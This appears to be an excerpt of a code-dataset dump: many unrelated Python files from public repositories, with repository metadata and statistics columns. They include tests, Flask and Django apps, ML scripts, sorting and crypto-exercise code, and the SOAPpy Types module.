@pytest.mark.mpi(min_size=2)
def test_size_min_2():
from mpi4py import MPI
com... | 21.61157 | 76 | 0.669981 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,038 | 0.396941 |
af33d38936d36aba5ecfba4eb2562457febb889c | 673 | py | Python | repalette/utils/notify.py | danielgafni/repalette | 9317fc4f164ef04500a47e37a5b0bd3917a82516 | [
"Apache-2.0"
] | 18 | 2021-05-04T15:26:59.000Z | 2022-01-04T17:17:23.000Z | repalette/utils/notify.py | danielgafni/repalette | 9317fc4f164ef04500a47e37a5b0bd3917a82516 | [
"Apache-2.0"
] | 3 | 2020-11-07T14:45:28.000Z | 2021-05-05T17:04:22.000Z | repalette/utils/notify.py | danielgafni/repalette | 9317fc4f164ef04500a47e37a5b0bd3917a82516 | [
"Apache-2.0"
] | 2 | 2021-05-04T15:54:31.000Z | 2021-05-05T00:15:20.000Z | import asyncio
import discord
import nest_asyncio
from repalette.constants import DISCORD_BOT_TOKEN
async def __notify_discord(channel_id, message):
client = discord.Client()
async def __send_message():
await client.wait_until_ready()
await client.get_channel(channel_id).send(message)
... | 21.709677 | 58 | 0.702823 | 0 | 0 | 0 | 0 | 0 | 0 | 328 | 0.48737 | 0 | 0 |
af34c785490cf98dfc2a7f4269f8b57f92aab889 | 4,404 | py | Python | tests/test_main.py | sforzando/q-lako | dcf31fdc50147415a1da7c5b411568478984e31a | [
"MIT"
] | null | null | null | tests/test_main.py | sforzando/q-lako | dcf31fdc50147415a1da7c5b411568478984e31a | [
"MIT"
] | 79 | 2020-10-06T08:34:44.000Z | 2020-12-12T17:28:53.000Z | tests/test_main.py | sforzando/q-lako | dcf31fdc50147415a1da7c5b411568478984e31a | [
"MIT"
] | null | null | null | import logging
import pytest
from werkzeug.datastructures import ImmutableMultiDict
from main import app
@pytest.fixture
def test_client():
app.config["TESTING"] = True
return app.test_client()
def test_GET_index(test_client):
response = test_client.get("/")
assert response.status_code == 200
... | 40.036364 | 110 | 0.719573 | 0 | 0 | 0 | 0 | 96 | 0.020743 | 0 | 0 | 1,896 | 0.40968 |
af35346b37ed36d8f98147a976a6e4de22d8db47 | 849 | py | Python | data/external/repositories_2to3/126714/kaggle-avazu-master/script/append.py | Keesiu/meta-kaggle | 87de739aba2399fd31072ee81b391f9b7a63f540 | [
"MIT"
] | null | null | null | data/external/repositories_2to3/126714/kaggle-avazu-master/script/append.py | Keesiu/meta-kaggle | 87de739aba2399fd31072ee81b391f9b7a63f540 | [
"MIT"
] | null | null | null | data/external/repositories_2to3/126714/kaggle-avazu-master/script/append.py | Keesiu/meta-kaggle | 87de739aba2399fd31072ee81b391f9b7a63f540 | [
"MIT"
] | 1 | 2019-12-04T08:23:33.000Z | 2019-12-04T08:23:33.000Z | f1 = open("../train_pre_1")
f2 = open("../test_pre_1")
out1 = open("../train_pre_1b","w")
out2 = open("../test_pre_1b","w")
t = open("../train_gbdt_out")
v = open("../test_gbdt_out")
add = []
for i in range(30,49):
add.append("C" + str(i))
line = f1.readline()
print(line[:-1] + "," + ",".join(add), file=ou... | 23.583333 | 50 | 0.537102 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 140 | 0.1649 |
af39c62b461abaa60323cf851d4989edf2ec5def | 851 | py | Python | run_learning.py | ZhaomingXie/RLAlg | dff9fc9be9417797ded428fc706cd779e638f7bf | [
"MIT"
] | null | null | null | run_learning.py | ZhaomingXie/RLAlg | dff9fc9be9417797ded428fc706cd779e638f7bf | [
"MIT"
] | null | null | null | run_learning.py | ZhaomingXie/RLAlg | dff9fc9be9417797ded428fc706cd779e638f7bf | [
"MIT"
] | 1 | 2020-05-29T01:37:42.000Z | 2020-05-29T01:37:42.000Z | from PPO import *
from TD3 import *
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--policy_path", required=True, type=str)
parser.add_argument("--stats_path", required=True, type=str)
parser.add_argument("--env", required=True, type=str)
parser.add_argument("--seed", required=True, type=int)
... | 31.518519 | 61 | 0.782609 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 73 | 0.085781 |
af39df71abbbbebb35d3f9fbf9be1554dbe20b3c | 797 | py | Python | Sorting/bubble_sort.py | fredricksimi/leetcode | f6352c26914ca77f915f5994746ecf0b36efc89b | [
"MIT"
] | null | null | null | Sorting/bubble_sort.py | fredricksimi/leetcode | f6352c26914ca77f915f5994746ecf0b36efc89b | [
"MIT"
] | null | null | null | Sorting/bubble_sort.py | fredricksimi/leetcode | f6352c26914ca77f915f5994746ecf0b36efc89b | [
"MIT"
] | 1 | 2021-12-05T12:27:46.000Z | 2021-12-05T12:27:46.000Z | """
Bubble Sort:
"""
# Best: O(n) time | O(1) space
# Average: O(n^2) time | O(1) space
# Worst: O(n^2) time | O(1) space
def bubbleSort(array):
did_swap = False
while True:
did_swap = False
for idx in range(1, len(array)):
if array[idx] < array[idx-1]:
# swap
... | 26.566667 | 122 | 0.604768 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 449 | 0.563363 |
af3d1abf4c4665c9462b07e2b917b4a51a0fdfc4 | 1,715 | py | Python | ccs1.py | derrickaw/operation_crypto | 6bf006a0a9246f6a9c5ae64b1bb395cc9d951c72 | [
"MIT"
] | null | null | null | ccs1.py | derrickaw/operation_crypto | 6bf006a0a9246f6a9c5ae64b1bb395cc9d951c72 | [
"MIT"
] | null | null | null | ccs1.py | derrickaw/operation_crypto | 6bf006a0a9246f6a9c5ae64b1bb395cc9d951c72 | [
"MIT"
] | null | null | null | # Crypto Challenge Set 1
"""
1. Convert hex to base64
2. Fixed buffer XOR
3.
"""
import base64
def convert_hex_to_base64(hex):
"""
Converts hex string to base64 encoding
:param hex: hex encoded string
:return: base64 encoded string
"""
# Convert hex to byte string
decoded_hex = bytearray... | 23.175676 | 77 | 0.661224 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 882 | 0.514286 |
af3fd4c2face07438cfa2add7939e20eaaa6ebd0 | 7,748 | py | Python | o365_ip.py | satchm0h/o365_ip | 1845fc6e5a2414f23bbce82784f4e7f0cac6528b | [
"MIT"
] | 1 | 2020-11-01T11:03:01.000Z | 2020-11-01T11:03:01.000Z | o365_ip.py | satchm0h/o365_ip | 1845fc6e5a2414f23bbce82784f4e7f0cac6528b | [
"MIT"
] | null | null | null | o365_ip.py | satchm0h/o365_ip | 1845fc6e5a2414f23bbce82784f4e7f0cac6528b | [
"MIT"
] | null | null | null | #!/bin/env python3
import os
import sys
import json
import uuid
import argparse
import logging
import coloredlogs
import requests
# Defining the default values that can be overridden on the CLI
DEFAULTS = {
'guidfile': 'client-guid',
'outfile': 'last-dump',
'verfile': 'last-version',
'instance': 'Worl... | 33.834061 | 105 | 0.63126 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,706 | 0.349251 |
af406546a6f0ed26414148fc4236cb5e5b9c721d | 53,251 | py | Python | src/SOAPpy/Types.py | ramoncreager/SOAPpy | 8f157e9612e0e140980a909b0e3e4a316c7a4e92 | [
"BSD-3-Clause"
] | null | null | null | src/SOAPpy/Types.py | ramoncreager/SOAPpy | 8f157e9612e0e140980a909b0e3e4a316c7a4e92 | [
"BSD-3-Clause"
] | null | null | null | src/SOAPpy/Types.py | ramoncreager/SOAPpy | 8f157e9612e0e140980a909b0e3e4a316c7a4e92 | [
"BSD-3-Clause"
] | null | null | null | """
###############################################################################
# Copyright (c) 2003, Pfizer
# Copyright (c) 2001, Cayce Ullman.
# Copyright (c) 2001, Brian Matthews.
#
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provide... | 28.400533 | 80 | 0.520009 | 46,931 | 0.881317 | 0 | 0 | 0 | 0 | 0 | 0 | 7,835 | 0.147133 |
af4465eb1740d25f4243ab38dfe29940e3f43d6f | 1,508 | py | Python | pygame_matplotlib/gui_window.py | lionel42/pygame-matplotlib-backend | 7b15c06189e0b690a0ec5ba83e6b9759f940642e | [
"MIT"
] | 3 | 2021-12-13T17:56:15.000Z | 2022-03-03T21:00:24.000Z | pygame_matplotlib/gui_window.py | lionel42/pygame-matplotlib-backend | 7b15c06189e0b690a0ec5ba83e6b9759f940642e | [
"MIT"
] | 1 | 2021-11-28T12:02:52.000Z | 2021-12-21T09:04:41.000Z | pygame_matplotlib/gui_window.py | lionel42/pygame-matplotlib-backend | 7b15c06189e0b690a0ec5ba83e6b9759f940642e | [
"MIT"
] | null | null | null | """Contain a window with a plot for pygame_gui."""
from typing import Union
import pygame
import pygame_gui
from pygame_gui.core.interfaces.manager_interface import IUIManagerInterface
from pygame_gui.core.ui_element import ObjectID
from .backend_pygame import FigureSurface
import matplotlib
matplotlib.use("module:/... | 31.416667 | 76 | 0.670424 | 1,149 | 0.761936 | 0 | 0 | 0 | 0 | 0 | 0 | 213 | 0.141247 |
af44d9ce71d347bfea046cddeb10613e1ff52421 | 67 | py | Python | jetbrains-academy/Numeric Matrix Processor/Problems/Alphabet/task.py | robinpatra/ML-Study-3 | 6f401706a8da4cac5e63304ce09ff6ff62756d0b | [
"MIT"
] | null | null | null | jetbrains-academy/Numeric Matrix Processor/Problems/Alphabet/task.py | robinpatra/ML-Study-3 | 6f401706a8da4cac5e63304ce09ff6ff62756d0b | [
"MIT"
] | null | null | null | jetbrains-academy/Numeric Matrix Processor/Problems/Alphabet/task.py | robinpatra/ML-Study-3 | 6f401706a8da4cac5e63304ce09ff6ff62756d0b | [
"MIT"
] | null | null | null | # work with this string
alphabet = input()
print(tuple(alphabet))
| 13.4 | 23 | 0.731343 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 23 | 0.343284 |
af454b0c2f018d2a6fb480e99014829738475907 | 955 | py | Python | simpledu/handlers/front.py | xizhongzhao/simpledu | bf78435caa45d28118cdde3db73c078cf7ff55b1 | [
"Apache-2.0"
] | null | null | null | simpledu/handlers/front.py | xizhongzhao/simpledu | bf78435caa45d28118cdde3db73c078cf7ff55b1 | [
"Apache-2.0"
] | null | null | null | simpledu/handlers/front.py | xizhongzhao/simpledu | bf78435caa45d28118cdde3db73c078cf7ff55b1 | [
"Apache-2.0"
] | null | null | null | from flask import Blueprint,render_template,flash,url_for,redirect
from simpledu.models import Course
from simpledu.forms import LoginForm,RegisterForm
from flask_login import login_user
front = Blueprint('front',__name__)
@front.route('/')
def index():
courses = Course.query.all()
return render_template('ind... | 31.833333 | 66 | 0.710995 | 0 | 0 | 0 | 0 | 725 | 0.759162 | 0 | 0 | 135 | 0.141361 |
af456070653a62afea1b52eac295ba59531bc4a5 | 6,151 | py | Python | main.py | sadegh1404/Refinedet_saffran | 3c756fe16b75e83630553b64cb9cb53203b9cb81 | [
"MIT"
] | null | null | null | main.py | sadegh1404/Refinedet_saffran | 3c756fe16b75e83630553b64cb9cb53203b9cb81 | [
"MIT"
] | null | null | null | main.py | sadegh1404/Refinedet_saffran | 3c756fe16b75e83630553b64cb9cb53203b9cb81 | [
"MIT"
] | null | null | null | import argparse
import numpy as np
import os
from os import path
import tensorflow as tf
from tensorflow.keras.callbacks import ModelCheckpoint
from models import RefineDetVGG16
from utils import read_jpeg_image, resize_image_and_boxes, absolute2relative
from saffran.saffran_data_loader import load_saffran_dataset
fro... | 35.761628 | 128 | 0.667859 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 718 | 0.116729 |
af4aa6d6dc3668051cf943238abd945caf290ab8 | 610 | py | Python | Code/utils/Load_model.py | rezacsedu/Detection-of-Hate-Speech-in-Multimodal-Memes | 9c66be09d4d12c0f9630e4fe4060dd1aa7c5fd0b | [
"CC0-1.0"
] | 8 | 2021-03-14T00:37:44.000Z | 2022-03-06T07:41:27.000Z | Code/utils/Load_model.py | rezacsedu/Detection-of-Hate-Speech-in-Multimodal-Memes | 9c66be09d4d12c0f9630e4fe4060dd1aa7c5fd0b | [
"CC0-1.0"
] | 1 | 2021-03-30T14:29:22.000Z | 2022-01-31T18:21:25.000Z | Code/utils/Load_model.py | rezacsedu/Detection-of-Hate-Speech-in-Multimodal-Memes | 9c66be09d4d12c0f9630e4fe4060dd1aa7c5fd0b | [
"CC0-1.0"
] | 2 | 2021-03-01T02:51:53.000Z | 2021-08-10T09:18:26.000Z | import torch
######### Load saved model from checkpoint #########
def load(modelpath, model, optimizer, lr_scheduler):
checkpoint = torch.load(modelpath)
model.load_state_dict(checkpoint['model_state_dict'])
optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
train_loss = checkpoint['Traini... | 35.882353 | 75 | 0.736066 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 182 | 0.298361 |
af4ba5a904905887481da5fbd8875608d26d4c5d | 7,649 | py | Python | scripts/make_template.py | ebi-ait/lattice-tools | 7d72b04fae879f4330702df93bbfc0ea8a6bbdaa | [
"MIT"
] | null | null | null | scripts/make_template.py | ebi-ait/lattice-tools | 7d72b04fae879f4330702df93bbfc0ea8a6bbdaa | [
"MIT"
] | 3 | 2021-02-09T14:57:00.000Z | 2021-09-27T23:23:45.000Z | scripts/make_template.py | ebi-ait/lattice-tools | 7d72b04fae879f4330702df93bbfc0ea8a6bbdaa | [
"MIT"
] | 1 | 2022-02-23T14:21:17.000Z | 2022-02-23T14:21:17.000Z | import argparse
import gspread
import json
import lattice
import requests
import string
import sys
from collections import OrderedDict
from gspread_formatting import *
from oauth2client.service_account import ServiceAccountCredentials
from urllib.parse import urljoin
def getArgs():
parser = argparse.ArgumentParser... | 35.576744 | 130 | 0.697085 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,585 | 0.337953 |
af4fa2ce445c7c2f288125fe751a69825469c270 | 8,191 | py | Python | tests/forte/data/vocabulary_test.py | bhaskar2443053/forte | 95fabd94126d45c0db07cdcc197049ed1859d228 | [
"Apache-2.0"
] | null | null | null | tests/forte/data/vocabulary_test.py | bhaskar2443053/forte | 95fabd94126d45c0db07cdcc197049ed1859d228 | [
"Apache-2.0"
] | null | null | null | tests/forte/data/vocabulary_test.py | bhaskar2443053/forte | 95fabd94126d45c0db07cdcc197049ed1859d228 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 The Forte Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... | 35.613043 | 80 | 0.561104 | 7,197 | 0.878647 | 0 | 0 | 7,202 | 0.879258 | 0 | 0 | 1,700 | 0.207545 |
af5046173b41ba95d5ae8b44b58b6a5a51e8848f | 1,979 | py | Python | beerhunter/hops/migrations/0001_initial.py | zhukovvlad/beerhunt-project | e841f4946c08275e9d189605ffe9026d6657d63f | [
"MIT"
] | null | null | null | beerhunter/hops/migrations/0001_initial.py | zhukovvlad/beerhunt-project | e841f4946c08275e9d189605ffe9026d6657d63f | [
"MIT"
] | null | null | null | beerhunter/hops/migrations/0001_initial.py | zhukovvlad/beerhunt-project | e841f4946c08275e9d189605ffe9026d6657d63f | [
"MIT"
] | null | null | null | # Generated by Django 3.0.9 on 2020-08-24 17:29
import autoslug.fields
from django.db import migrations, models
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
... | 41.229167 | 147 | 0.587671 | 1,808 | 0.913593 | 0 | 0 | 0 | 0 | 0 | 0 | 291 | 0.147044 |
af52d7912236214a17650c5aa0f534f092aa2d20 | 624 | py | Python | iot-sandbox/sandbox/sandbox/routing.py | d-hrytsenko/virgil-iotkit | 5e7baa122cd0adeb96bcc45afac7d091e8fd0432 | [
"BSD-3-Clause"
] | null | null | null | iot-sandbox/sandbox/sandbox/routing.py | d-hrytsenko/virgil-iotkit | 5e7baa122cd0adeb96bcc45afac7d091e8fd0432 | [
"BSD-3-Clause"
] | null | null | null | iot-sandbox/sandbox/sandbox/routing.py | d-hrytsenko/virgil-iotkit | 5e7baa122cd0adeb96bcc45afac7d091e8fd0432 | [
"BSD-3-Clause"
] | null | null | null | from channels.auth import AuthMiddlewareStack
from channels.routing import ProtocolTypeRouter, URLRouter
from django.urls import path
from sandbox.apps.devices.consumers import FactoryDevicesConsumer, UserDevicesConsumer
from sandbox.libs.logs.consumers import SandboxLogsConsumer
application = ProtocolTypeRouter({
... | 34.666667 | 86 | 0.735577 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 107 | 0.171474 |
af54d8608e299a17c445fa8a61556df44ff6ac62 | 3,402 | py | Python | scripts/crawler/sites/codeforces_loader.py | Takt29/CompetitiveProgrammingArena | 7b7dfbd103b9abd6ea00156f3b7f6f2d59e40dea | [
"MIT"
] | null | null | null | scripts/crawler/sites/codeforces_loader.py | Takt29/CompetitiveProgrammingArena | 7b7dfbd103b9abd6ea00156f3b7f6f2d59e40dea | [
"MIT"
] | null | null | null | scripts/crawler/sites/codeforces_loader.py | Takt29/CompetitiveProgrammingArena | 7b7dfbd103b9abd6ea00156f3b7f6f2d59e40dea | [
"MIT"
] | null | null | null | import sys
import json
from typing import Optional
from datetime import datetime, timezone
from .submissions_loader import Submission, SubmissionLoader, SubmissionStatus
class CodeforcesSubmissionLoader(SubmissionLoader):
def _normalize_status(self, external_status: str) -> SubmissionStatus:
patterns: lis... | 40.023529 | 82 | 0.620223 | 3,235 | 0.949237 | 0 | 0 | 0 | 0 | 0 | 0 | 570 | 0.167254 |
af55a79f421926129b24a6d21a7c6d4dc299051b | 1,477 | py | Python | chainer/distributions/one_hot_categorical.py | lehy/chainer | 007f86fdc68d9963a01f9d9230e004071a1fcfb2 | [
"MIT"
] | null | null | null | chainer/distributions/one_hot_categorical.py | lehy/chainer | 007f86fdc68d9963a01f9d9230e004071a1fcfb2 | [
"MIT"
] | null | null | null | chainer/distributions/one_hot_categorical.py | lehy/chainer | 007f86fdc68d9963a01f9d9230e004071a1fcfb2 | [
"MIT"
] | null | null | null | import chainer
from chainer.backends import cuda
from chainer import distribution
from chainer.functions.math import exponential
import chainer.functions.math.sum as sum_mod
class OneHotCategorical(distribution.Distribution):
"""OneHotCategorical Distribution.
Args:
p(:class:`~chainer.Variable` or :... | 25.465517 | 67 | 0.625592 | 1,300 | 0.880162 | 0 | 0 | 395 | 0.267434 | 0 | 0 | 180 | 0.121869 |
af55a7c4bf87a19d17230ce48e8785f847954198 | 891 | py | Python | config.py | johannes-gehrs/centos_packages | 31afe052011594e37175447eae8e7a192bdc9669 | [
"MIT"
] | 9 | 2016-04-17T02:09:47.000Z | 2022-02-16T15:50:43.000Z | config.py | johannes-gehrs/centos_packages | 31afe052011594e37175447eae8e7a192bdc9669 | [
"MIT"
] | null | null | null | config.py | johannes-gehrs/centos_packages | 31afe052011594e37175447eae8e7a192bdc9669 | [
"MIT"
] | 6 | 2016-09-10T17:42:29.000Z | 2021-11-28T09:06:36.000Z | from __future__ import absolute_import, division, unicode_literals
import os
import logging
OS_VERSIONS = ['6', '7']
DATA_DIR = '/tmp/centos_packages/'
REPO_BASE_URL = 'http://mirror.centos.org/centos/'
REPOSITORIES = ['os', 'updates', 'centosplus', 'extras', 'fasttrack']
REPOSITORIES_PRETTY = {'os': 'Base',
... | 29.7 | 70 | 0.637486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 261 | 0.292929 |
af5737ecd87101e9cae87c5d6f7ba311642b6a63 | 2,622 | py | Python | bin/autogen.py | botleague/leaderboard-generator | 644bed2b056d04b604a09ab4f1ad78afbc4ceee7 | [
"MIT"
] | null | null | null | bin/autogen.py | botleague/leaderboard-generator | 644bed2b056d04b604a09ab4f1ad78afbc4ceee7 | [
"MIT"
] | null | null | null | bin/autogen.py | botleague/leaderboard-generator | 644bed2b056d04b604a09ab4f1ad78afbc4ceee7 | [
"MIT"
] | null | null | null | import os
import sys
import time
import logging
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
def main():
logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(message)s',
datefmt='%Y-%m-%d %H:%M:%S')
# Don... | 28.5 | 76 | 0.644165 | 1,443 | 0.550343 | 0 | 0 | 0 | 0 | 0 | 0 | 319 | 0.121663 |
af57910bb3fe47ba44e22a72e31f84c5bdcbf609 | 10,239 | py | Python | mdstudio/mdstudio/api/endpoint.py | NLeSC/LIEStudio | 03c163b4a2590b4e2204621e1c941c28a9624887 | [
"Apache-2.0"
] | 10 | 2017-09-14T07:26:15.000Z | 2021-04-01T09:33:03.000Z | mdstudio/mdstudio/api/endpoint.py | NLeSC/LIEStudio | 03c163b4a2590b4e2204621e1c941c28a9624887 | [
"Apache-2.0"
] | 117 | 2017-09-13T08:09:48.000Z | 2019-10-03T12:19:13.000Z | mdstudio/mdstudio/api/endpoint.py | NLeSC/LIEStudio | 03c163b4a2590b4e2204621e1c941c28a9624887 | [
"Apache-2.0"
] | 1 | 2018-09-26T09:40:51.000Z | 2018-09-26T09:40:51.000Z | import json
import uuid
import six
from datetime import timedelta
from types import GeneratorType
from typing import Union, Optional, Callable
from jsonschema import ValidationError
from twisted.internet.defer import _inlineCallbacks, Deferred
from autobahn.wamp import RegisterOptions
from mdstudio.api.api_result imp... | 38.205224 | 133 | 0.614611 | 8,278 | 0.808477 | 3,003 | 0.29329 | 3,652 | 0.356675 | 0 | 0 | 1,386 | 0.135365 |
af58316a61820a09a31e0f30a7a6aca3f04dde99 | 861 | py | Python | chap6/6-4.py | StewedChickenwithStats/Answers-to-Python-Crash-Course | 9ffbe02abba5d111f702d920db7932303daf59d4 | [
"MIT"
] | 1 | 2022-02-21T07:05:48.000Z | 2022-02-21T07:05:48.000Z | chap6/6-4.py | StewedChickenwithStats/Answers-to-Python-Crash-Course | 9ffbe02abba5d111f702d920db7932303daf59d4 | [
"MIT"
] | null | null | null | chap6/6-4.py | StewedChickenwithStats/Answers-to-Python-Crash-Course | 9ffbe02abba5d111f702d920db7932303daf59d4 | [
"MIT"
] | null | null | null | codewords={
'array':'an arrangement of aerials spaced to give desired directional characteristics',
'byte':'computer memory unit',
'boolean':'a data type with only two possible values: true or false',
'debug':'locate and correct errors in a computer program code',
'address':'the code that identifies where a piece ... | 45.315789 | 168 | 0.759582 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 716 | 0.831591 |
af5b9601c04d7552ac03872881009c7fc625c108 | 1,832 | py | Python | numba/tests/test_ctypes.py | meawoppl/numba | bb8df0aee99133c6d52465ae9f9df2a7996339f3 | [
"BSD-2-Clause"
] | 1 | 2015-01-29T06:52:36.000Z | 2015-01-29T06:52:36.000Z | numba/tests/test_ctypes.py | meawoppl/numba | bb8df0aee99133c6d52465ae9f9df2a7996339f3 | [
"BSD-2-Clause"
] | null | null | null | numba/tests/test_ctypes.py | meawoppl/numba | bb8df0aee99133c6d52465ae9f9df2a7996339f3 | [
"BSD-2-Clause"
] | null | null | null | from __future__ import print_function, absolute_import, division
from ctypes import *
import sys
from numba import unittest_support as unittest
from numba.compiler import compile_isolated
from numba import types
is_windows = sys.platform.startswith('win32')
if not is_windows:
proc = CDLL(None)
c_sin = proc.s... | 24.105263 | 64 | 0.662664 | 717 | 0.391376 | 0 | 0 | 779 | 0.425218 | 0 | 0 | 144 | 0.078603 |
af5d86c2560d06e00d095d4daa7efcc3669f67c7 | 377 | py | Python | test_Task1D.py | dan7267/1a-flood-risk-project-93 | d95cee987f5673d637626e1804f719371a25daa8 | [
"MIT"
] | null | null | null | test_Task1D.py | dan7267/1a-flood-risk-project-93 | d95cee987f5673d637626e1804f719371a25daa8 | [
"MIT"
] | null | null | null | test_Task1D.py | dan7267/1a-flood-risk-project-93 | d95cee987f5673d637626e1804f719371a25daa8 | [
"MIT"
] | null | null | null | from floodsystem.geo import rivers_with_station
from floodsystem.geo import stations_by_river
from floodsystem.station import MonitoringStation
def test_rivers_with_station():
lst2 = rivers_with_station(MonitoringStation)
assert len(lst2) == len(set(lst2))
def test_stations_by_river():
dct1 = stations_by_... | 26.928571 | 49 | 0.795756 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
af5fa4a7f4a8959df414d7dee58cac1a11ceef7d | 875 | py | Python | Preprocessing/PreprocessingX: Chunking.py | Om4AI/Semantic-Adherence-Checker-with-NLP | 7104f0fbe45ef79eb6ea0db9eec4dc7b4ff150fb | [
"MIT"
] | 1 | 2021-05-22T02:46:00.000Z | 2021-05-22T02:46:00.000Z | Preprocessing/PreprocessingX: Chunking.py | Om4AI/Semantic-Adherence-Checker-with-NLP | 7104f0fbe45ef79eb6ea0db9eec4dc7b4ff150fb | [
"MIT"
] | null | null | null | Preprocessing/PreprocessingX: Chunking.py | Om4AI/Semantic-Adherence-Checker-with-NLP | 7104f0fbe45ef79eb6ea0db9eec4dc7b4ff150fb | [
"MIT"
] | null | null | null | def chunk_process(corpus):
all_processed = []
for i in corpus:
train_text = i
train_text = train_text.lower()
custom_tokenizer = PunktSentenceTokenizer(train_text)
tokenized = custom_tokenizer.tokenize(train_text)
pro = chunk_process_content(tokenized)
all_processed.append(pro)
return all... | 23.648649 | 57 | 0.666286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 188 | 0.214857 |
af5fcb0196a0a9c57b0c130032cf305a83d559c5 | 1,036 | py | Python | flask_monitoringdashboard/test/db/test_codeline.py | jlane9/Flask-MonitoringDashboard | b989bcf8f870ccd9141210eb4b2b8f716873c4fe | [
"MIT"
] | null | null | null | flask_monitoringdashboard/test/db/test_codeline.py | jlane9/Flask-MonitoringDashboard | b989bcf8f870ccd9141210eb4b2b8f716873c4fe | [
"MIT"
] | null | null | null | flask_monitoringdashboard/test/db/test_codeline.py | jlane9/Flask-MonitoringDashboard | b989bcf8f870ccd9141210eb4b2b8f716873c4fe | [
"MIT"
] | null | null | null | """
This file contains all unit tests that count a number of results in the database. (Corresponding to the file:
'flask_monitoringdashboard/database/count.py')
See info_box.py for how to run the test-cases.
"""
import unittest
from flask_monitoringdashboard.database import session_scope
from flask_monito... | 35.724138 | 113 | 0.726834 | 608 | 0.586873 | 0 | 0 | 0 | 0 | 0 | 0 | 244 | 0.235521 |
af621cd414c91141313b31734d2740e917380a97 | 6,772 | py | Python | tensorflow_constrained_optimization/python/rates/subsettable_context_test.py | neelguha/tensorflow_constrained_optimization | 46b34d1c2d6ec05ea1e46db3bcc481a81e041637 | [
"Apache-2.0"
] | null | null | null | tensorflow_constrained_optimization/python/rates/subsettable_context_test.py | neelguha/tensorflow_constrained_optimization | 46b34d1c2d6ec05ea1e46db3bcc481a81e041637 | [
"Apache-2.0"
] | null | null | null | tensorflow_constrained_optimization/python/rates/subsettable_context_test.py | neelguha/tensorflow_constrained_optimization | 46b34d1c2d6ec05ea1e46db3bcc481a81e041637 | [
"Apache-2.0"
] | null | null | null | # Copyright 2018 The TensorFlow Constrained Optimization Authors. All Rights
# Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not
# use this file except in compliance with the License. You may obtain a copy of
# the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#... | 42.591195 | 80 | 0.656379 | 3,849 | 0.56837 | 0 | 0 | 0 | 0 | 0 | 0 | 1,894 | 0.279681 |
af623410296e659a3a4c8fe5f812620f14b8f668 | 1,098 | py | Python | LnkParse3/extra/shim_layer.py | ernix/LnkParse3 | ab8b2c796a501b103eb74142762e7fe9f4f1960a | [
"MIT"
] | 6 | 2019-04-16T10:19:15.000Z | 2022-03-18T22:21:18.000Z | LnkParse3/extra/shim_layer.py | ernix/LnkParse3 | ab8b2c796a501b103eb74142762e7fe9f4f1960a | [
"MIT"
] | 12 | 2020-09-15T08:02:48.000Z | 2021-07-19T13:52:57.000Z | LnkParse3/extra/shim_layer.py | ernix/LnkParse3 | ab8b2c796a501b103eb74142762e7fe9f4f1960a | [
"MIT"
] | 3 | 2019-10-10T06:38:48.000Z | 2020-10-25T08:24:34.000Z | from LnkParse3.extra.lnk_extra_base import LnkExtraBase
"""
------------------------------------------------------------------
| 0-7b | 8-15b | 16-23b | 24-31b |
------------------------------------------------------------------
| <u_int32> BlockSize >= 0x00000088 ... | 35.419355 | 66 | 0.327869 | 360 | 0.327869 | 0 | 0 | 0 | 0 | 0 | 0 | 707 | 0.643898 |
af6294e18a82ba001ab631ad5741ea18cea1db0a | 849 | py | Python | Sec 2 - Python Refresher/13_Destructuring_Variables/DestructVars.py | BrentLittle/WebDevPython | 14f646c10643ab06ac4217a44b7ad6c47a7270d8 | [
"MIT"
] | null | null | null | Sec 2 - Python Refresher/13_Destructuring_Variables/DestructVars.py | BrentLittle/WebDevPython | 14f646c10643ab06ac4217a44b7ad6c47a7270d8 | [
"MIT"
] | null | null | null | Sec 2 - Python Refresher/13_Destructuring_Variables/DestructVars.py | BrentLittle/WebDevPython | 14f646c10643ab06ac4217a44b7ad6c47a7270d8 | [
"MIT"
] | null | null | null | t = (5,11)
x , y = t
print(x,y)
attendance = {"Rolf": 96, "Bob": 80, "Anne" :100}
print(list(attendance.items()))
for t in attendance.items() :
print(t)
# print(f"{student}: {attended}")
for student, attended in attendance.items() :
print(f"{student}: {attended}")
# Blog post: https://blog.tecladocode.com/d... | 22.945946 | 80 | 0.638398 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 318 | 0.374558 |
af62d6c68ae4c048711e5debf87644009ac5b327 | 293 | py | Python | django_project_template/django_project_template/apps/app/urls.py | eduardolujan/django_project_template | 6e449b1da6d95ab7afb532a4a76d724be666ae4f | [
"MIT"
] | null | null | null | django_project_template/django_project_template/apps/app/urls.py | eduardolujan/django_project_template | 6e449b1da6d95ab7afb532a4a76d724be666ae4f | [
"MIT"
] | null | null | null | django_project_template/django_project_template/apps/app/urls.py | eduardolujan/django_project_template | 6e449b1da6d95ab7afb532a4a76d724be666ae4f | [
"MIT"
